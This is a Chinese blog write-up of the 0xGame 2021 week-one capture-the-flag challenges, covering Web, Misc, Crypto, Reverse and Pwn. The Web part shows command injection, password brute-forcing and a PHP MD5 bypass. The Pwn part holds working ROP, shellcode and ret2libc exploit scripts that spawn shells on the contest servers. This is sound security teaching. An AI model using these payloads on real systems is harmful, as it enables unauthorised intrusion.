2021-0xGame 第一周 WriteUp(AK)

Web

1. Robots

Robots协议了解一下,robots.txt会被放在网站根目录下,告诉爬虫哪些不能爬,哪些能爬。
直接访问.../robots.txt得到提示4ll.html,之后直接访问…/4ll.htmlF12查看网页源代码,即可得到flag.
0xGame{Rob0t_le4ks_seCr3t}


2. 爱ping才会赢

首先发现带有Ping字样的按钮是不可点击的,F12后将对应处的disabled="disabled"删除即可点中。
PHP中实现Ping的功能一般是通过类似于exec system的函数调用外部命令,在linux; || &&连接符可连接两个独立语句并执行。
输入;ls /可查看根目录下的文件(相当于执行了Ping;ls /),找到flag后直接输入;cat /flag即可。
0xGame{L1nux_cmd_1s_3a5y_t0_you!!!}


3. 你看你能登录吗?

先进行目录扫描(可用的工具很多),得到.../admin/进入后台,根据提示密码是个4位纯数字,也就是说0233也是合法的,之后直接爆破就好了(可用Burp Suite或自己写Python脚本,比较简单),账号根据常识,肯定是admin,密码通过爆破得到,为0310,进入后台即可拿到flag.
0xGame{y0u_brut3_f0rc3_successfully}


4. 看看我的头

题目的名字中就带有提示,这里的“头”是指“请求头或响应头”,可以拿Burp Suite抓包查看,或者直接在F12后在Network中也可以看见。
点开题目后提示“打开方式不对”,这里的方式是指“请求方式”,我们抓包后发现此题是GET方式,我们改成POST方式再放包即可发现页面有了变化,提示需要用“N1k0la浏览器”访问,所以,我们修改请求头中User-Agent的内容为N1k0la,即可发现页面又有了变化,提示“必须从本地来”,因此在请求头中添加X-Forwarded-For内容为本地IP地址127.0.0.1即可。
之后,得到一串编码后的字符:

JGE9JF9HRVRbJzB4R2FtZTIwMjEnXTskYj0kX1BPU1RbJ1gxY1QzNG0nXTskZD0kX1BPU1RbJ1B1cGkxJ107JGM9J3dlbGNvbWUgdG8gdGhlIDB4R2FtZTIwMjEnO2lmKG1kNSgkYik9PW1kNSgkZCkmJiRhPT09JGMpe2VjaG8gJGZsYWc7fQ==

显然是通过了Base64编码,解码后,得到:

$a=$_GET['0xGame2021'];$b=$_POST['X1cT34m'];$d=$_POST['Pupi1'];$c='welcome to the 0xGame2021';if(md5($b)==md5($d)&&$a===$c){echo $flag;}

可以看到这个就是此题的PHP源代码,是个“弱类型”判断(MD5碰撞)。
其中,md5()返回32位字符串,若均为0e开头可被认为是科学计数法表示的数字0.
因此可提交:

?0xGame2021=welcome to the 0xGame2021 //GET
X1cT34m=aabg7XSs&Pupi1=aabC9RqS //POST
aabg7XSs => md5: '0e087386482136013740957780965295'
aabC9RqS => md5: '0e041022518165728065344349536299'

当然,md5()也可以用数组绕过:当md5函数的参数为一个数组时,会报错并返回NULL值。
因此还可以提交:

?0xGame2021=welcome to the 0xGame2021 //GET
X1cT34m[]=2333&Pupi1[]=2333 //POST

注意:用BurpSuite进行POST在最后要保留两行“空行”。
最终,得到flag
0xGame{http_pr0t0c0l_1s_int3r3sting:-)}

Misc

1. Sign in

0xGame{Welc0m_to_0xGame2021}


2. A translate draft

附件是一个加密了的zip,这是zip伪加密,使用010十六进制编辑器打开,将80F0h行的09改为00即可解密。
压缩包内的word中有文字被隐写了,将文字全选,改为黑体字,即可看到被隐写的内容:GB4EOYLNMV5W4MLDMVPXK===,使用Base32解密得到flag的前半段:0xGame{n1ce_u
打开压缩包,选中word右击 => 查看文件,可看到该word也是一个压缩文件,其中word文件夹内有HiddenBy13.txt,其中内容是_s0haq_zr},但这并不是最终的flag,根据文件名的提示,我们用Rot13或凯撒密码位移13,即可得到另一半:_f0und_me}
0xGame{n1ce_u_f0und_me}


3. Kakurennbo

使用vim打开,有蓝色的零宽度字符,零宽度字符隐写,将文本文档内的内容解码,得到被隐藏的内容:0xGame{k}kT_hnG0it4_7rs4_i7nubB0_w,使用栅栏W型密码解密,栏数21,解密后,得到flag0xGame{kk_n0t_r4inb0w_Bu7_s74iGhT}.


4. 认真的血

先使用 WinRAR解压(其他压缩软件,如Bandizip好像不行),使用lads.exe检测到有NTFS数据流在音频文件中,在命令行中执行notepad 认真的雪.m4a:flag.txt 即可提取到内容(或者直接用NTFS Streams Editor提取):

He comes and leaves with no survival. HIS CODENAME: 47
_Iv2>6L}%u$0qcD:40Df68N

根据提示,使用Rot47解码,得到flag0xGame{NTFS_B4sic_s7eg}


5. ezAlgorithm

一个基础得不能再基础的算法题,考虑动态规划
状态转移方程:dp[i] = dp[i-1] + dp[i-2] + dp[i-3]
参考代码:

#include<bits/stdc++.h>
using namespace std;

int n,m,k;
const int mod=1435756429;
set<int> bad;
long long dp[4000005];

int main()
{
	scanf("%d%d",&n,&m);
	for(int i=1;i<=m;i++)
	{
		scanf("%d",&k);
		bad.insert(k);
	}
	for(int i=1;i<=n;i++)
	{
		if(bad.find(i)!=bad.end())continue;
		if(i==1){dp[i]=1;continue;}
		else if(i==2){dp[i]=dp[i-1]+1;continue;}
		else if(i==3){dp[i]=dp[i-1]+dp[i-2]+1;continue;}
		dp[i]=((dp[i-1]+dp[i-2])%mod+dp[i-3])%mod;
	}
	printf("%lld\n",dp[n]);
	return 0;
}

得到flag0xGame{651977145}

Crypto

1. Crypto Sign in

0xGame{Welcom_to_Cryptogrphy_World_!}


2. CuteCaesar

先进行兽语解码,得到:0aJdph{fdhvdu_1v_q0w_fxwh},使用凯撒密码解密,得到flag0xGame{caesar_1s_n0t_cute}.


3. manycode

看到颜文字,首先AAencode解码,得:

4A5645475153435A4B345957595A4A524B4A3347454D4A5A4F5249554F4E4A564C415A453235323249524844533D3D3D

观察到,最大的也就F,因此想到Base16解码,得:

JVEGQSCZK4YWYZJRKJ3GEMJZORIUONJVLAZE2522IRHDS===

观察到,最末尾有三个等号(占位符),因此想到Base32解码,得:

MHhHYW1le1Rvb19tQG55X2MwZDN9

最后,再Base64解码,得到flag

0xGame{Too_m@ny_c0d3}

4. MyFunction

本质就是个解方程的问题:已知xlnx,求x
我很暴力,直接先打表,把x65~122再加上左右小括号的ASCII码40 41(这些常用字符ASCII码)的时候,xlnx的值打出来,再写个程序到output.txt里查值对比即可。
(更加暴力的)参考脚本:

from math import log

def get_ans(num):
    for x in range(1, 200):
            if x * log(x) == num:
                print(chr(x), end='')

f = open('./output.txt')
ans = f.readlines()
for i in range(len(ans)):
    ans[i] = float(ans[i].replace('\n', ''))
    get_ans(ans[i])

0xGame{YouH4veKn0wedPy7honL081s<y=ln(x)>InM47hs}


5. Class8

第一行,从左至右,依次为:盲文,跳舞的小人,猪圈密码,手机九宫格按键加密,摩斯电码
解密的结果是:CLASS
第二行,从左至右,依次为:盲文,跳舞的小人,银河密码,摩斯电码,培根密码
解密的结果是:LNRDD
第三行,从左至右,依次为:手机九宫格按键加密,银河密码,键盘图形码,摩斯电码,培根密码
解密的结果是:LDVTN
最后一行是手机九宫格按键加密,解密为B
合起来,flag0xGame{CLASSLNRDDLDVTNB}.


6. ABC Of RSA

一个基础RSA加密算法:已知p,q,e,求d.
0xGame{39982249}


7. ezVigenère

维吉尼亚密码无密钥破解,可以写个程序爆破密钥,最终得到密钥为:abc.
0xGame{interest1ng_Vigenere}


8. BlackGiveRSA

求出d = 1540111621310965943
有性质:m = (c ^ d) % n,其中m是明文,c是密文。
由给出的密文,求出对应的明文(大数据,防止溢出,要用高精度,可以用Pythongmpy2扩展库或者JavaBigInteger或者上大数计算的网站算),再反过来写个脚本:

from Crypto.Util.number import *
print(long_to_bytes(13643046854681979),end="")
print(long_to_bytes(18973676576264805),end="")
print(long_to_bytes(31037449384842088),end="")
print(long_to_bytes(29636688785989998),end="")
print(long_to_bytes(29073739401619561),end="")
print(long_to_bytes(22874675212740989),end="")

0xGame{ChuTiRenDeQQShiJiShangJiuShiQDeZhi}

Reverse

1. Signin: User Friendly

甚至不用IDA,直接拿Notepad之类的打开,查找即可。
0xGame{we1c0me_2_Rever5e_egin44ring}


2. Packet

先查壳,发现有upx壳,再脱壳即可(我是用upx.exe,命令执行.\upx.exe -d 文件路径
(a&~b)|(b&~a)等价于a ^ b,位运算异或有自反性,即A ^ B ^ B = A ^ ( B ^ B ) = A ^ 0 = A
根据此性质,可写出如下代码:

enc = [0x91, 0x77, 0x0FB, 0x0E, 0x0B7, 0x0CC, 0x0E4, 0x38, 0x11, 0x94, 0x0FD, 0x85, 0x5C, 0x91, 0x84, 0x5C, 0x7D, 0x67, 0x27, 0x134, 0x135, 0x0A, 0x0D8, 0x23, 0x0D, 0x30, 0x65, 0x3E, 0x13, 0x45, 0x54, 0x52, 0x51, 0x3E, 0x0B0, 0x0D9, 0x13, 0x33, 0x0C3, 0x0FF]

check = [0x0A1, 0x0F, 0x0BC, 0x6F, 0x0DA, 0x0A9, 0x9F, 0x5E, 0x29, 0x0F6, 0x0C5, 0x0E4, 0x6E, 0x0F2, 0x0B1, 0x38, 0x1B, 1 , 0x11, 0x100 , 0x100 , 0x32, 0x0E9, 0x41, 0x68, 2, 4, 6, 0x2A, 0x70, 0x37, 0x6B, 0x30, 0x5D, 0x82, 0x0E8, 0x25, 0x57, 0x0F2, 0x82]

for i in range(40):
    print(chr(enc[i]^check[i]), end="")

0xGame{f8b8a2c5dff64581be2a895c9ac216d1}


3. Our Compilation Story

根据异或的自反性,写出如下代码:

k = [21,44,45,104,31,30,26,121,65,125,23,112,77,46,47,126,89,112,7,109,7,88,10,105,104,59,54,91,83,98,32,54,15,65,113,119,113]
k = k[::-1]
for i in range(3,37):
    print(chr(k[i]^k[i-3]),end="")

0xGame{Th3_10ng_w4y_w3_901ng_fr33}


4. Random Chaos

伪随机数,即如果系统提供的随机种子没有变化,每次调用rand函数生成的伪随机数序列都是一样的。
通常可以利用系统时间来改变系统的种子值,即srand(time(NULL)),可以为rand函数提供不同的种子值,进而产生不同的随机数序列。
再结合异或的自反性,写出如下代码:

#include<bits/stdc++.h>
using namespace std;

int a[45]={0x22, 0x0CA, 7, 0x19, 0x0F8, 0x0FB, 0x28, 0x9D, 0x1E, 0x80, 0x0AC, 0x0C9, 0x60, 0x46, 0x18, 0x21, 0x0DF, 0x95, 0x0D5, 0x70, 0x0C5, 0x19, 0x0EA, 0x0B0, 0x9C, 0x83, 0x11, 0x4A, 0x93, 0x0C7, 0x91, 0x0F6, 0x14, 0x71, 0x2F, 0x22, 0x14, 0x0BF, 0x58, 0x76, 0};

int main()
{
	srand(0x2021u);
	for(int i=0;i<=39;i++)
	{
		cout<<(char)((unsigned __int8)rand()^a[i]);
	}
	return 0;
} 

0xGame{d6ca93397ecb4d4e83792a7100737932}


5. Neverland

导致Neverland的原因有两点,第一是因为原程序中重复递归调用了之前调用过的函数,浪费了大量的时间,因此,我们可以采取”记忆化“的思路,将其结果保存下来,方便之后直接读取,二是因为idx里的数太大了,我们通过找规律可知:在一定数量之后,idx中值的奇偶性直接影响结果,使其循环出现(其实是unsigned int反复溢出造成的现象)。
参考代码:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;

unsigned int idx[45]={9, 0x0F, 0x0C, 3, 2, 0x10, 0x0B, 0x0E, 7, 0x0A, 0x2E, 0x2D, 0x2B, 0x2E, 0x2F, 0x2D, 0x2F, 0x28, 0x31, 0x3A, 0x31, 0x33, 0x33, 0x2B, 0x32, 0x37, 0x37, 0x38, 0x3C, 0x30, 0x0FFFFFFCE, 0xFFFFFF93, 0x0FFFFFFD8, 0x0FFFFFFF2, 0x0FFFFFFDF, 0x0FFFFFF70, 0x0FFFFFF72, 0x0FFFFFFD0, 0x0FFFFFFA6, 0x0FFFFFF9A};

unsigned int enc[45]={0x0BFFCC, 0x0BFFFFF84, 0x3000043, 0x0DD, 0x59, 0x61, 0x0BFFF87, 0x30000035, 0x0BF99, 0x300032, 0x36, 0x0FFFFFFC9, 0x0FFFFFF98, 0x30, 0x0FFFFFF9F, 0x0FFFFFFCC, 0x0FFFFFFC8, 0x62, 0x0FFFFFF99, 0x30, 0x0FFFFFFC8, 0x0FFFFFF9A, 0x0FFFFFFC5, 0x0FFFFFF9E, 0x32, 0x0FFFFFFC4, 0x0FFFFFFC8, 0x60, 0x3D, 0x35, 0x3D, 0x0FFFFFFCB, 0x34, 0x3C, 0x0FFFFFF9F, 0x65, 0x65, 0x33, 0x66, 0x79};

unsigned int num[60];

int main()
{
	char v0;
	num[0]=7;num[1]=8;
	for(int i=2;i<=60;i++)num[i]=3*num[i-1]+4*num[i-2]; //记忆化
	for(int i = 0; i <= 39; ++i)
    {
    	if(idx[i]>60){if(idx[i]%2)v0=4294967292; else v0=4;}
    	else v0=num[idx[i]]; //奇偶性
        putchar((char)(v0 ^ LOBYTE(enc[i])));
    }
    return 0;
}

0xGame{1e625d4c04fe44f9b684d919708caa7b}


6. Roundabout

根据异或的自反性,写出如下代码:

#include<bits/stdc++.h>
using namespace std;

char b[20] = {0x74,'h','i','s','_','i','s','_','n','o','t','_','f','l','a','g'};
int v[45] = {0x44, 0x10, 0x2E, 0x12, 0x32, 0x0C, 8, 0x3D, 0x56, 0x0A, 0x10, 0x67,0, 0x41, 0, 1, 0x46, 0x5A, 0x44, 0x42, 0x6E, 0x0C, 0x44, 0x72, 0x0C, 0x0D, 0x40, 0x3E, 0x4B, 0x5F, 2, 1, 0x4C, 0x5E, 0x5B, 0x17, 0x6E, 0x0C, 0x16, 0x68, 0x5B, 0x12};

int main()
{
	for(int i=0;i<42;i++)cout<<(char)(v[i] ^ b[i%16]);
	return 0;
}

0xGame{b8ed8f-af22-11e7-bb4a-3cf862d1ee75}


7. Zero Three

使用pythonZ3扩展库解方程,参考代码如下:
HINT: 程序计算flag会用到两部分计算:前面一部分会用到前半段flag,后面一部分计算会用到整段flag,如果你的z3约束求解迟迟未出结果,或许你可以尝试只约束后半部分计算,依然能得到正确的flag.

from z3 import *

x = Solver()
p0,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15 = Ints('p0 p1 p2 p3 p4 p5 p6 p7 p8 p9 p10 p11 p12 p13 p14 p15')
num0,num1,num2,num3,num4,num5,num6,num7 = Ints('num0 num1 num2 num3 num4 num5 num6 num7')

x.add(num0 == p0 + p1*256 + p2*256*256 + p3*256*256*256)
x.add(num1 == p4 + p5*256 + p6*256*256 + p7*256*256*256)
x.add(num2 == p8 + p9*256 + p10*256*256 + p11*256*256*256)
x.add(num3 == p12 + p13*256 + p14*256*256 + p15*256*256*256)

x.add(2 * p5 + 8225 - p0 - 9 * p3 - p4 - p9 + p10 - 6 * p11 - p13 - 3 * p14 - 5 * p15 == 5643)
x.add(3 * p14 + 8 * p10 - 3 * p2 - 6 * p0 + 8225 - p1 - 2 * p5 + 3 * p8 - 8 * p11 + 4 * p12 - 6 * p15 == 6620)
x.add((-5) * p12 - 7 * p6 - 3 * p1 + 8225 - 2 * p0 - p2 - 5 * p3 - 7 * p4 - 6 * p5 - 2 * p8 + 6 * p13 == 5538)
x.add(2 * p5 + 2 * p1 + 8225 - 2 * p0 - 2 * p3 + 3 * p4 - 2 * p8 - p10 - p12 - 2 * p14 - 2 * p15 == 7693)
x.add((-6) * p14 + 8225 - 2 * p1 - 2 * p2 - 9 * p3 + 2 * p4 - 5 * p7 + 2 * p8 - 9 * p9 - 4 * p10 - 6 * p15 == 4735)
x.add(9 * p14 - 7 * p10 + 8 * p9 + 5 * p0 + 8225 - p2 + p5 - 5 * p6 - 8 * p11 - p12 - 9 * p15 == 7060)
x.add(p13 - 5 * p7 - 3 * p2 - 3 * p0 + 8225 - 4 * p1 - 4 * p4 - p6 + 9 * p10 - 2 * p14 - 6 * p15 == 5864)
x.add((-9) * p14 - 3 * p10 + 9 * p1 - 6 * p0 + 8225 - 5 * p3 - 4 * p7 - 2 * p11 - 2 * p12 + p13 + 9 * p15 == 7393)
x.add(6 * p9 - 5 * p8 - 3 * p6 + 9 * p2 + 8225 - p4 + 3 * p5 - 7 * p7 + 7 * p10 - 2 * p13 - p14 == 8442)
x.add(8 * p6 - 7 * p2 + 8225 - 8 * p1 - p3 + 6 * p4 - p7 + 5 * p8 - 4 * p10 - p14 + 7 * p15 == 8376)

x.add(-22827 * num4 + 21984 * num1 + -38534 * num5 - 32344 * num0 == -98460819657603)
x.add(-38215 * num2 + -37324 * num4 + -8436 * num5 + 15405 * num0 == -131665436206262)
x.add(10926 * num7 + -28942 * num1 + -34572 * num3 - 10538 * num5 == -121891239772992)
x.add(-30117 * num6 + -22990 * num2 + -20471 * num5 + 34494 * num7 == -57089882568260)
x.add(-33112 * num5 + -19335 * num4 + 34348 * num1 + 31445 * num2 == 56335531538050)
x.add(-13566 * num5 + 14758 * num0 + -19814 * num2 - 26447 * num4 == -81105980248303)
x.add(25898 * num5 + -15817 * num1 + 20463 * num7 - 33578 * num0 == -28860618440412)
x.add(-35429 * num7 + 36594 * num2 + -28801 * num6 - 14952 * num3 == -45384029412201)

x.check() #sat
print(x.model())

我将python中得到的num[]结果写入了num.txt当中,再写了个程序转化成flag(自行意会):

#include<bits/stdc++.h>
using namespace std;
int n,x,y,z;
int main()
{
	freopen("num.txt","r",stdin);
	while(scanf("%d",&n)!=EOF)
	{
		z=n/256/256/256;
		n-=z*256*256*256;
		y=n/256/256;
		n-=y*256*256;
		x=n/256;
		n-=x*256;
		cout<<(char)n<<(char)x<<(char)y<<(char)z;
	}
	return 0;	
}

附上num.txt (num0 ~ num7) :

1685677173
2017608537
1983267413
1950446449
1933792821
1145785398
1280864594
1465083989

0xGame{udydYCBxUB6vqsAt5VCs6LKDRqXLUhSW}

Pwn

1. Pwn?!

直接nc 121.4.15.155 10000,连上ls查看文件,再cat flag即可拿到flag.
0xGame{22e92cf4-6c88-4345-aa9e-0dc4111064da}


2. ret2text

file pwn,看到这是一个64位的ELF文件,再checksec pwn,发现只开了NX,即栈不可执行保护,使用IDA后发现,有system,也有/bin/sh这个字符串,那就好办了,典型的ret2text(具体原理不赘述).
64位中,system等函数会先向RDI等六个寄存器优先”要参数“,若是参数不止六个,再去找压入栈的数据(注意是小端序)。
参考exp.py

from pwn import *

io = remote("121.4.15.155", 10003)
pwn = ELF("pwn")
system_addr = pwn.plt['system']
bin_sh_addr = next(pwn.search(b'/bin/sh'))
pop_rdi_addr = 0x401253

payload = b'A'*(0x50 + 8) + p64(pop_rdi_addr + 1) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

0xGame{aaf53894-1058-4579-a389-25541c96ab9b}


3. No BackDoor!

我不是很清楚为啥会和上题一毛一样emmmm
参考exp.py

from pwn import *

io = remote("121.4.15.155", 10001)
pwn = ELF("pwn")
system_addr = pwn.plt['system']
bin_sh_addr = next(pwn.search(b'/bin/sh'))
pop_rdi_addr = 0x401223

payload = b'A'*(0x50 + 8) + p64(pop_rdi_addr + 1) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

0xGame{bcdf39ba-a811-4bbb-aefc-aad3c764c963}


4. WTF?Shellcode

checksec pwn,发现保护全没开,包括NX(栈不可执行),因此可以执行ShellCode
直接看汇编代码吧,看到:

mov     rax, [rbp+buf]
add     rax, 20h
mov     rdx, rax
call    rdx

意味着,我们的ShellCode要放入栈顶以上20h处的位置,才能成功call,使之执行。
故,我们需要先填充0x20个字节的垃圾数据。
参考exp.py

from pwn import *

io = remote("121.4.15.155", 10002)
context.arch = 'amd64'

shellcode = b'S'*0x20 + asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

0xGame{ab52497b-7275-4097-8e8d-e2b420c2013b}


5. ret2libc pro max

没有system,也没有/bin/sh,因此考虑ret2libc,具体原理不再赘述.
64位计算机中,一个地址的长度是8字节,但是实际的操作系统中,一个地址的最高位的两个字节是00,而且实际的函数地址是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取低6字节值,然后通过ljust函数把最高位的两字节填充成00.
此外,需要注意的是,在64位中,system函数调用时需要rsp16字节对齐的(即最后两位为00),因此需要多写一个ret使rsp+=8或者跳过push rbp使rsp-=8不会执行,以实现“堆栈平衡”。
最后,最好别用LibcSearcher,还是在线查一下libc的库。
参考exp.py

from pwn import *

io = remote("121.4.15.155", 10004)
pwn = ELF("pwn")

puts_plt_address = pwn.plt['puts']
puts_got_address = pwn.got['puts']
main_address = pwn.symbols['main']
pop_rdi_address = 0x401223
ret_address = 0x401224

io.recvuntil("funny\n")
payload = b'A'*(0x50 + 8) + p64(pop_rdi_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)
io.sendline(payload)
puts_address = u64(io.recv(6).ljust(8,b'\x00'))

libcbase = puts_address - 0x06f6a0
system_address = 0x0453a0 + libcbase
binsh_address= 0x18ce17 + libcbase

payload = b'A'*(0x50 + 8) + p64(ret_address) + p64(pop_rdi_address) + p64(binsh_address) + p64(system_address)
io.sendline(payload)
io.interactive()

0xGame{6123733d-ede7-4e42-af50-be23c066a25c}

posted @ 2021-10-29 18:29  winmt  阅读(1221)  评论(0编辑  收藏  举报